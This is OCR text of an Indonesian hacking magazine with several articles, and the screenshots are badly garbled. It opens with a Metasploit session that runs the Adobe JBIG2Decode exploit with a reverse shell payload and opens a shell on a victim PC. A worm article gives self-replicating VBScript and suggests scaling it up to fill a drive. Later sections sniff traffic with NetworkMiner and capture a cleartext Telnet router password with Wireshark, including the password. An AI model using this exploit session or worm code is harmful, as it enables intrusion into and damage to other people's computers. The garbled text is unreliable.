HARHAHARHAHH R H AR H A HA R HAHA R H AR HAHA R HAHH R H AR B H AR B HHRH AR RS
HARHAHARHAHH R H AR HAHAH

http:/ / metasploit.pro

=[ metasploit v4.6.0-dev [core:4.6 api:1.0]
+ -- --=[ 1037 exploits - 576 auxiliary - 172 post
+ -- --=[ 265 payloads - 28 encoders - 8 nops

msf exploit(adobe_jbig2decode) > use
exploit/windows/browser/adobe_jbig2decode

msf exploit(adobe_jbig2decode) > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp

msf exploit(adobe_jbig2decode) > set LHOST 192.168.1.127
LHOST =>192.168.1.127

msf exploit(adobe_jbig2decode) > set SRVPORT 80
SRVPORT => 80

msf exploit(adobe_jbig2decode) > set URIPATH /
URIPATH => /

msf exploit(adobe_jbig2decode) > exploit

[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.127:4444

[*] Using URL: http://0.0.0.0:80/

[*] Local IP: http://192.168.1.127:80/

[*] Server started.



Ketika target membuka alamat http://192.168.1.27 dan aplikasi Adobe
Acrobatnya yang memiliki bug tersebut menjalankan file PDF di alamat
192.168.1.27 maka muncul dibawah ini.

[¥] 192.168.1.106 adobe_jbig2decode - Sending Adobe JBIG2Decode Heap
Corruption

[*] Encoded stage with x86/shikata_ga_nai

[*] Sending encoded stage (267 bytes) to 192.168.1.106

[*] Command shell session 1 opened (192.168.1.127:4444 -> 192.168.1.106:1300) at
2013-03-10 09:10:48 -0800

Komputer target teremote

Click on OK to terminate the program

&
DDE Server Window: AcroRd32.exe - Application Error E
@ The instruction at “0x056cfeds” referenced memory at "0=FFEFFEFF". The memary could not be “read”.

Tampilan di komputer korban saat membuka file exploit PDF.

Oleh Kurniawan - vk family code@vyahoo.com
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Si Caring Y

Moshi - moshi, tau nggak komputer gua itu core
2 duo, ram 4 G, dengan kecepatan sekitar 4,sekian
ghz, tapi kog lemotnya minta ampun, tau nggak gua
tu tiap hari bete mulu karena itu (lebay). Udah ah
curhatnya hehe, jadi dari pengalaman gua itu, gua
berfikir kalau kompi gua kena virus. Terus ya udah
aku scan pake antivirus tapi masih aja lemot. Ya udah
jalan satu - satunya menuju kenikmatan adalah.....??
apa hayo. Bener instal ulang.

Tapi setelah itu gua cari referensi tentang virus
tipe ini. Ternyata ini bukan virus, tapi worm. Inget lo
worm bukan virus, karena virus dan worm itu beda
banget. Kalau virus itu tipenya merusak, ngremuk mas
terus kalau virusnya ketemu tinggal di delete pake antivirus udah deh. Tapi kalo
worm nggak ngrusak mereka Cuma berkembang biak jadi banyak terus itulah
yang membuat performa komputer kita jadi agak santai (jangan bilang lemot,
nggak sopan).

Coba kalian bayangkan, jika ada cacing di dalam sebuah pipa air terus
cacingnya tu nggrombol, trus tawuran kebayangkan. Terus airnya nggak bisa
lewat deh. Nha menurut buku yang gua baca cara kerja worm ini meniru cacing
beneran. Tapi cacing kita kali ini nggak kayak gitu, kan jijik banget kalau ada
bentuk kayak gitu di kompi hii. Cacing yang kita hadapi bentuknya lebih indah,
keren deh pokoknya :D.

Ada dua tipe penyebaran worm. Cara yang pertama adalah satu - satu.
Maksudnya gini. Coba bayangkan kompoter si A telah terinfeksi worm. Terus
dimasukin fash. Otomatis flashnya udah terinfeksi juga. Terus dicolokin ke
komputer B, komputer B juga terinfeksi lagi. Terus ada flashdisk dari kaompuert
C masuk ke komputer B. Nha udah gitu aja terus terusan sampai komputer Z
(emang ada huruf lain kecuali A-Z). Begitulah caranya

Untuk cara yang kedua adalah dengan menyerang pusat. Misalnya dalam
seebuah jaringan yang terdiri dari beberapa client dan satu server. Jika satu
komputer client terinfeksi worm, terus si server minta data dari si salah satu
client. Terus si server kena. Otomatis client lainya juga kena.

Begitulah. Dan sekarang saya akan menunjukan teknik dasar membuat
worm. Tapi inget ini gua kasih tahu supaya bisa mengerti bagaimana cara
menghentikan si worm ini. Intinya gak susah karena ini Cuma dasar. Wormnya




kita buat dari notepad tapi pake bahasa pemrograman vbs. Saya akan
menjelasakan cara kerja worm kloning

on error resume next

set xa=createobject("scripting.filesystemobject")

set elkkloner=xa.opentextfile(wscript.scriptfullname)
skrenta=elkkloner.readall

elkkloner.close

set kloner=xa.createtextfile("elkkloner" & r & ".vbs")
kloner.write skrenta

kloner.close

set att=xa.getfile("elkkloner" & r & ".vbs")
att.attributes=1

next

kode diatas bertujuan untuk mengkloning suatu folder aktif dengan isi
yang sama. Pokoknya semua hasilnya sama persis, Cuma beda namanya. Text
yang berwarna merah itu nama bisa diganti-ganti. Terus text yang berwarna
hijau adalah jumlah kloning yang kita inginkan. Setiap kloning akan memiliki
kapasitas 1 KB, coba bayangkan kalau angka 5 pada kata 1 to 5 diganti dengan
angka 1000000. Bayangkan drive kita akan langsung di penuhi kloning tersebut
yang totalnya memiliki kapasitas 1.000.000 KB, bisa kebayang kan kerugianya.
Terus proses pembuatan kloning itulah yang kadang membuat komputer kita
santai (inget santai bukan lemot). Jika mau tau hasilnya simpan dengan ekstensi
*.vbs




-

Mj wormd.txt - Notepad =

File Edit Format WView Help

on error resume next o . .
set xa=createobject("scripting.filesystemobject™)

set elkkloner=xa.opentextfile(wscript.scriptfullname)
skrenta=elkkloner.readall
elkkloner. close

for r=1 to 5

set kloner=xa.createtextfile("elkkloner” & r & ".vbs")
kloner.write skrenta

kloner.close

set att=xa.getfile("elkkloner” & r & ".vbs")
att.attributes=1

next

Salah satu worm yang terkenal adalah RECYCLER pasti tau donk. Sukanya
tu buat kapasitas flashdisk kita full. Jadi begitulah worm secara simpel. Dan
sekarang bisa bedain kan virus sama worm. Terus ada satu lagi trojan. Haha gak
usah dibahas disini bisa penuh nanti.

Mungkin Cuma itu jika artikel saya banyak kekurangang mohon
dimaafkan ya ©

From :One-co Momouchi

Fb : oneco.momouchi

Twitter : @outsentB

Thank to : Alloh S.W.t, parrents, sumber terkait, &
X-code magazine.

\TK/__?DEF/ 4000




Mengenal NetworkMiner

NetworkMiner adalah software Analisis Jaringan Forensik untuk Windows.
NetworkMiner ini bisa digunakan sebagai alat sniffer / paket jaringan pasif
menangkap data, seperti missal gambar.

Download : http:/ /www.netresec.com/ ?page=NetworkMiner

Cara penggunaannya, setelah menjalankan NetworkMiner maka pilih network
adapter yang digunakan.



[<] NetworkMiner 1.4.1

File  Tools Help

-- Select a network. adapter in the ligt -

8 (> o) (@50

-- Select a network, adapter in the list -

WinPoap: Bealtek RTLE129 Family Fast Ethemnet Adapter [Micros

Caze Panel

C cheduler] [192.168.1.108) {;
WinPoap: Sun [(Microsoft's Packet Scheduler) [192.168.56.1) {063C4EAF-3E41-40865-B9BC-4EBECBEDT 7RI Filehame = MDE
Socket: Realtek RTLE133 Family PCI Fast Ethernet MIC #3 - Packet Scheduler Minipart [192.168.1.7108)
Socket: YirtualB ox Host-Only Ethemet Adapter - Packet Scheduler Miniport [192.168.5E.1]

Socket M5 TCP Loopback interface [127.0.0.1]

Pilih Network Adapter yang ingin digunakan.

E NetworkMiner 1.4.1

File  Tools  Help

i DMS [5E|]i| Parameters [412) |i Kewwords | Cleartest H Anomalies!

=t Adapter [Microzoft's Packe

< | B

[ Relnad ase Files

E9/=1E3

| Hosts [47) | Frames [G8xx) | Files [4B]| Images [B] |Messages | Crede
o

skt T e [72)|

S =
| 18 ipie e
| et e
ﬁ""’""’ [ |
171083468237766...  1d0f_ATKEI .png Lol 41DEFEAZ
200x90, 8732 B 15460, 5E7 B 1u1. 438

Wz

Barhe bl

300<250, 183538 728x30, 41 3136

Case Panel
Filename = MD5
MM_201...

ZALORA

Saat sniffing dengan Network miner, pengintip dapat melihat data di jaringan,

seperti misal gambar.



File  Tools Help
WinPap: Fealtek RTLB133 Family Fast Ethernet Adapter (Microsoft's Packet Scheduler) (192.168.1.10 v @ Stop

Hastz [501| Frames [20=xx]| Files (47] Images [B] | Messages || Credentialz [3] || Sessions [B6)
DNS [B2] | Parameters [419) || Keywords | Cleartest | Anomalies

Fram...  Time... = Client Clien...  Server | Serv...  IPTTL  DMHS.. Tran.. Ti#
e 334 1927 111k g888 A3 Al Q005 Owdlid O
226 I3 1921 1116 a8ag8 B3 a0 Q005 Owacya O
226 I3 1921 1116 a8ag8 B3 a0 Q005 Owacya O
226 I3 1921 1116 a8ag8 B3 a0 Q005 Owacya O
355 I3 1821 1116 a8ag8 B3 a0 01:28.. OwAZ280 0O
355 I3 1921, 1116 a8488 B3 a0 Q005 OwAZB0 O
355 330 1821 11156 g8488 B3 a0 Q005 OxA2B0 O
355 330 1821 11156 g8488 B3 a0 Q005 OxAZB0 O
355 I3 1821, 1115 agas B3 a0 0005, OxAZB0 O

e

A E L

EEE N sl [l

el e a sl ')

DNS Server yang digunakan targetpun dapat diketahui

Nehmrld.iiner 1.4.1

File  Tools  Help
WinPcap: Realtek RTLE133 Family Fast Ethemet ddapter (Microsoft's Packet Scheduler) [192.168.1.10 v 4 Stop

DS [62) | Parameters [419) | Kepwords | Cleartest | Anomalies
Hosts (50| Frames [20uex)| Files (47) | Images [6) | Messages | Credentials (8] Sessions [86)

Frame nr.

21

718
718
P
FEdl
583
105
710
713
507
507

[at Rl

Reconstr...

C:Anetwork...
C:\networks...
C:network...
C:hvniebwork.
C:networks...
C:Anetworks...
C:Anetwork...
C:network...
C:network...
Chvnebwork.
C:networks...

[t AP TP

Source host

74.125.235.27 [ad.doublecl...
7412523541 [plus.l.googl...
7412523541 [plus.l.googl. .
7412523541 [plus.[.googl. .
7412523541 [plus..googl...
74.125.235.27 [ad.doublecl...
23.66.97 224 [platform. twitt. .
74125235 25 [pagead4E |
74125235 25 [pageaddE |
74125 23535 [plus. [.googl. .
7412523535 [plus. [.googl...

FAAOC A0 A0 Lo 1 oo

S. port

TCP 80
TCF 443
TCF 443
TCF 443
TCF 443
TCP 80
TCP 80
TCP 80
TCP 80
TCF 443
TCF 443

T AAdN

Destin...

152.168...
152.168...
192.168...
152.168...
152.168...
152.168...
152.168...
152.168...
192.168...
152.168...
152.168...

A0 Amn

D. port #
TCP11
TCR12
TCR12
TCP12
TCR12
TCP11
TCP11
TCR12
TCR12
TCR12
TCR12

T AT

Caze Panel

Filename
Mbd_201...

MDE
0358e62

o=

Caze Panel

Filename
Mb_201...

MO&
0353e6af.

Kita juga dapat mengetahui saat terjadi sniffing, kita mengetahui source host,
source port dan sebagainya.

Oleh Kurniawan - vk family code@yahoo.com




Pengujian SSH lebih aman dari Telnet dengan
Wireshark

Secure Shell atau SSH adalah protokol jaringan yang memungkinkan pertukaran
data melalui saluran aman antara dua perangkat jaringan.

Telnet (Telecommunication network) adalah sebuah protokol jaringan yang
digunakan pada Internet atau Local Area Network untuk menyediakan fasilitas
komunikasi berbasis teks interaksi dua arah yang menggunakan koneksi virtual
terminal.

Wireshark adalah software open source yang ditujukan untuk menganalisa data
di jaringan.

Berikut pengujiannya.



EE

‘ Expressian. ..

Silker: ‘

The World's Most Popular Network Protocol Analyzer

Y h 1.8.5 ; fram ftru

ol &) M

Interface List Open

Live list of the capture interfaces Open a previously captured Fle
[caunts incarning packeats)

Open Recent:

& Start
Choose one or rove interfaces to capture Frorn, then Start @ Sample Captures

& rich assortrent of example capture files on the wiki

@ Realkek RTLE139 Family Fast Ethernst Adapker (Micros
@ Sun {Microsoft's Packet Scheduler) : \Device\MPF_{063

|

ﬁ Capture Options

Stant a capture with detailed options

b LT S Frabile . PaCa. o

Pilih Capture Options

e

&

. Captue @ Files QN

Websit

\isit the praj

User's |
The Usar's G

Securit
Il with 1

| w

»

[



"4’ Wireshark: Capture Options

Capture
Interface Link-laver header Prom. Mode Snaplen [B] Buffer [ME
Realtek RTL8139 Family Fast Et... :
o5 158 4 Sre Ethernet disabled  default 1
Sun {Microsoft's Packet Schedul... s
Fi T Ethernet disabled  default 1
| >
[ ] capture on all interfaces Manage Interfaces
@pture all in promiscuous mode
Capkure Fileis) Display Options
File: | | [Ernwse...] Update list of packets in real time
[ use multiple Files IJse pcap-ng Format
Automatic scrolling in live capture
Hide capture info dialog
Mame Resolution
O Enable MAC name resolukion

Pilih Interface yang digunakan, disini penulis mematikan option Captire All on
Promiscuous mode.



1 Capturing from Realtek RTL.B139 Family Fast Ethernet Adapter, (Microsoft's Packet Scheduler) : \Devicel... g@

File Edit Miew Go Capture Analvze Statistics Telsphony Tools Internals  Help

B & e @ HEXEZE A¢es» T L /BIEQQEH #MEMm -
Filter: Expression.. .
PR 1 ——.. V< I — 2. L —— Rrofocol _llenah JTnfo
76 4.30350200152,.168.1.106 152.1658.1.1053 WMNC 1514
Fo7 4.303601100152.168.1.1068 152.168.1.1053 WNC 1514
FhE 4,30363000152.168.1.108 1592.1688.1.103 WNC 15314
F59 4,30365000152.168.1.10a 1592.1688.1.103 WNC BEY
Fa0 4,30398500152.168.1.1593 1592.168.1.1048 TCF 60 gds-adppiw-db > rfh [a
7ol 4.30415300152.168.1.1593 192.1688.1.104 Tk 60 gds-adppiw-db > rfh [a
a2 4.30443200152.168.1.1593 192.1688.1.104 Tk 60 gds-adppiw-db > rfh [a
783 4.,30471700152.168.1.1593 192.1688.1.104 Tk 60 gds-adppiw-db > rfh [a
a4 4,30500500152,.168.1.1593 192.168.1.1046 Tk 60 gds-adppiw-db > rfh [a
765 4,30528100152.168.1.1593 192.168.1.104 Tk 60 gds-adppiw-db > rfh [a
766 4,30975000152.168.1.1593 192.168.1.104 WNC ag
Fe7 4,359166001592.168.1.106 176.53.1471. 84 TRET 336 Continuation
7a58 4.4831110015%2.168.1.106 192.168.1.193 TP 54 rfb > gds-adppiw-db [a
A% 4.55200000176.35.141. 54 192.168.1.106 TP 60 53333 > ms—wht-server
F7004.686347500176.35. 141, 584 152.1658.1.106 TP 60 533323 > ms—wht-server
>

# Frame 1: 75 bytes on wire (600 bits), 75 bytes captured (600 bits) on interface 0
# Ethernet II, src: Tp-LinkT_9d:a0:bé (F&:dl:11:9d:a0:bG), Dst: Realteks_c7:0d:7c (00:e0:4¢
# Internet Protocol wersion 4, src: 176.33.141.84 (176.33.141.84), Dst: 192.168.1.106 (192,

# Transmission Control Protocol, sSrc Port: 53286 (532860, Dst Port: ms-wht-server (3389),
+ TRPKT

Tampilan Wireshark



Command Prompt

icrosoft Windows BP [Version 5.1.26881
C>» Copyright 1985-2801 Microsoft Corp.

:“\Documents and Settings“ruangfokus9>telnet 192_168.1.99_

ITI
ITI
ITI
ITI

KKK

KKK

KKK KKK
KKKKK
KKK KKK
KKK KKK

krotik.coms

10756 118.
10757 118.
10738 118.
10759 119.
15
T 192.168.1.99-24

>

Saat target melakukan koneksi remote telnet

Tampilan saat berhasil login di telnet mikrotik



8 Capturing from Realtek RTL.813% Family Fast Ethernet Adapter (Microsofi’s Packet Scheduler) : WDevicel... |

File Edit Wew Go Capture Analyze Statistics  Telephony Tools  Internals  Help

= e & | & 28 A+ *2aTFT L2/ BE QAR @®BM
Filter: ‘telnet v| Expression,,. Clear Save
Jo. Tirne Source Diestinakion Protocol  ‘Length  'Info
1360 4551 &5, 1. 0o 4
13606 130,032646102.168.1.106 @ MarkPacket (toggle) 60 Telnet Data ...
13608 135. 933183 192.168.1.108 B | 19noePacket foogle) 63 Telnet Data ...
13500 139,933221 192.168.1. 99 17 L& Set Time Reference (toggle) 57 Telnet Data ...
13511 139.973845192.168.1.108 1% Time Shift... 63 Telnet Data ...
13612 139.974734 192.168.1. 99 L. 66 Telnet Data ...
13513 139.975263 192.163.1.106 qq i) Edior Add Packet Commert. . 60 Telnet Data ...
13615 140,01253461%92.168,.1.104 1" Manually Resolve fddress 64 Telnet Data ...
13617 140.023206192.168.1. 99 1v 66 Telnet Data ...
13618 140. 023442 192.1658.1.108 1t Apply asFiker *| 57 Telnet pata ...
13521 140.062576192.168.1.108 1¢  FPrepare 5 Filker *| 63 Telnet Data ...
13623 140, 0636563 192.168.1. 99 1% Conversation Filter *| 78 Telnet Data ...
13624 140, 063925 192.168.1.108 1%  Colorize Conversation *| 57 Telnet Data ...
13625 140, 065878 192.168.1. 99 1v 61l Telnet Data ...
13626 140, 065932 192.168.1.108 {  Follow TP Stream 57 Telnet Data ...
MT2EAT T AN CA2MI71m 1Taa 1 10 EL TAalrnAat Bat A
|
Frame 13605: 66 bytes on wire (528 b 2 bits) on interface 0
Ethernet II, src: CadmusCo_h2:34:5F 1 Copy Y Lalteks cr:od:Fc (00:eC
Internet Protocol version 4, Src: 1590 23 Decods As... st: 192.168.1.106 (192
Transmission Control Protocol, Src PO _ propel-msgsys (1268]),
w Talnat = Print...
Shiowe Packet in Mew Window I

Pada filter masukkan telnet lalu enter, klik kanan lalu klik Follow TCP Stream

File Edit Wew Go Capture Analyze  Statistics  Telephory Tools  Internals  Help
B i & e 2o AesaTL(EE QRQAQAD FDB -

Filter: | kcp.stream eq 2 w | Expression. ..

Clear Save

I, Time
10753 77.82
10755 F7.B24
10757 77.830 Stream Content
10758 77,834 : T S T — NS T E—

10759 77.839  |mikroTik w3.30

10760 77,834 | |...Login: ...aadd,,imm.. ... ... .mmidnn
1078l 77.83
10762 77.83]
107as 77.83
10774 77,877
10775 77.877
10776 77.87
10777 77,87
10778 77.87
10781 77. 917

AnTET FT NI

Password: tukangsate

Frame 10753
# Frhernet T

Binggo Password mikrotik diketahui



Bagaimana jika dengan remote SSH ?

X PuTTY Configuration

Cateqony:
o) S ezzion Basic options for vour PuT T session
Laogaing Specify your connection by host name or IF address
= Terminal Host Mame [or IF addressz) Fart
K.eyboard 192.168.1.99 22
Bell —
Foat ratocal: _
~ realres ) Raw () Telmet (O Rlogin - (%) 55H
= Wwindow
AppEarance Load, zave or delete a stored zesszion
Eehavm‘ur Saved Seszionz
Translation
Selection
Calours Default Settings
= Connection -
Save
oy | save |
Rlagin
—I- 55H
ALith
T I ) )
Bunne ® Claze window on exit:
ugs O Alwaye (O Mever (3 Only on clean exit

&bout | Open H Cancel l

Disini penulis menggunakan Putty sebagai client SSH. Masukkan IP mikrotik
pada input Host Name (or IP address), jangan lupa Portnya, protocol di set SSH.

#*192.168.1.99 - PulTY BEE
logi 11

adminfl192.168.1.99's password: I

Masukkan username dan password



£ 192.168.1.99 - PuTTY

1in®
1 |:_||:_|I =

MMH MMM ! TTTTTTTTTTT
MMMH MMMM TTTTTTTTTTT
MMM MMMM MMM ! 4 TTT III
MMM MM MMM {KEE ! L ) TTT III
MNH MMM TTT III
MNH MMM {KE TTT III

MikroTik Rout o (e = : ohoh ol aJH g . mikrot ik

Koneksi remote SSH berhasil dilakukan

“A' Capturing from Realtek RTL8139 Family Fast Ethernet Adapter (Microsoft’s Packet Scheduler) : \Devicel... |

File Edit Wiew Go Capture Analyze Statistics  Telephony  Tools  Internals  Help

C EEXLZE AT LIEE QQAf #EMR
Filker: | ssh w | Expression... Clear Save
o Source Destination Protocol  ILength  Info

: 2 i iE Server Protocol:
74228 415. 862051 107, 168. 1. MarkRacker foodk) PClient Protocnl: ssH-1
74230 415. 866815 192.168. 1. e 1onore Packst (toggle) ) server: Public Key
74471 417. 245197 192.168.1. 152, ‘& Set Time Reference (toggle) ) Client: session Key
T4492 417274713 192.168.1. 1592, (T Time Shift... i server: Encrypted pack
74800 423.328275152.168.1. FECEN) : b Client: Encrypted pack
74801 423.334022 192.168.1. e 118 £ cr Ad ket Canment . § Sserver: Encrypted pack
75210 431.762966192.168.1. 192. Marually Resolve fddress b Client: Encrypted pack
75213 431.770052 192.168.1. 192. i server: Encrypted pack
75214 431.770302 152.168.1. 152,  Apply as Fiter Y ) client: Encrypred pack
75215 431.772154 192.168.1. 192, Frepare a Filer Y § server: Encrypted pack
75216 431. 772391 192.165. 1. 192.|  Conversation Filter P §Client: Encrypted pack
75220 431. 815767 192.168.1. 192, Calorize Conversatian * 5 server: Encrypted pack
75228 431.846031 152.168.1. 152. i server: Encrypted pack
75230 431. 846395 152.168.1.106 152. Follow TCP Stream b Cldient: Encrypted pack
FEITT AT QAEATA AN TET 1 106 1 m Il [ B T ! BN
>
# Frame 74227: 51 bytes on wire (728 bits Hts) on interface 0
# Ethernet II, src: CadmusCo_h2:34:5F (08 copy k. Teks_c7:0d:7c (00:e0:4¢
+# Internet Protocol wersion 4, sSrc: 192.11’; otaains, . I: 152.168.1.106 (192.1¢
# Transmission Control Protocol, Src Port lace (12851, seqg: 1, Ack
¥ SSH Protaen] = Print... | ]
Show Packet in New Window | *
ooon Q0 ed 4c cF 0d Fo 08 00 27 hZ 34 5T 08 00 45 Q0 e el . e =

0010 00 4d 8fF 16 40 00 40 06 27 77 <0 a8 01 83 cO al LML ELE Twel Ll



Di Wireshark pada filter ketik SSH lalu enter, klik kanan pada salah satu paket,
lalu pilih TCP Stream.

A Follow TCP Stream

Stream Cankent

SSH-1.99-0pensSsSH_2. 3. 0_Mikrotik_w2.9
SSH-1. 5-PUTTY-Release-0.53h
........... P TP SRR 'R (AR = o S 5. SR, i
3otd. L 3F kgAY (3. % F5...70 .5 . I
A #o... FooH. L0 YL IRAR AL L 53 S clC . S Y

PO = T TR I ) [, LT o T See=aanaOu Do mewe LW HEL LWL T Ll LR
....... Hevoven e ®uwwnw Lowwnn 1000 e e e oA P . o P s o MGwL 192, . ... SxT . 4HL. .
S PR br..2....{..H.h.... .+t .. 1. . .Gw. 19

ge...Q. B ] L] d) o =#.30.. 8., T N0
N bhoos L - 03...0.%%. . ...t ..M. R EH0 00000000 P

2T.x b H am
B [ VI

+._..F e ~ K7 RIBLS. L . P Y [ R VR |

A Y b.0.g..zd

.. R, PRSI o HP <= PR P bo.o.... Swt s Z.1...... [ [ IR
- W - T T R 1 =] -4
CoDenns = N = = DA S 2. €. O Cadd Wk
% oW 0. ... At e S AcLLu# DN S0,
% A - [#0 GAlao0lo cocooooo f I P W (cl..... +..2 q
[O..L.. k... <IaaUG. . T Moo boo 7o A ] el +L.G7
Cozzk.o.oooo... Tivenn. BM.,P.p.1.0=.7S8........ B..".[....0Z.p¥TZ..7a. ge.& ] n. t
Guwen Se L UpwWaM, L M, COL L W e M
%0, . 0., # 0L L] k.W..0CO. .=, . "bk..ordn.
+... . hoo s M. .g. 'L AR MT. ... S.D'E.%..... [ . 4
F.I...... 0 R I I . PR oW 1.4 Alloo@oooooaao Wk, Iy l.&{B9. {wa. .. 3
W8, Bl F.Zm. ... he..... 2 Q.P. k.. ... z

0..h...o0.0 f....L.a.<..... 0..Q9 6..
1.h5 Wewnnnnns kh.*. OCee e 45 LAPL L wWCo. . <. .50 Meuun ..y
r LT o fT - 1! W ot ERRV I L & 111N 8

Password tidak dapat di lihat, paket data di enkripsi oleh SSH, inilah mengapa
SSH lebih aman daripada telnet.

Oleh Kurniawan - vk family code@yahoo.com
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Yogyafree X-code hanya membuka pengiriman artikel, tutorial yang
berhubungan dengan hacking dan keamanan komputer. Pengiriman dikirim ke
vk family code@yahoo.com




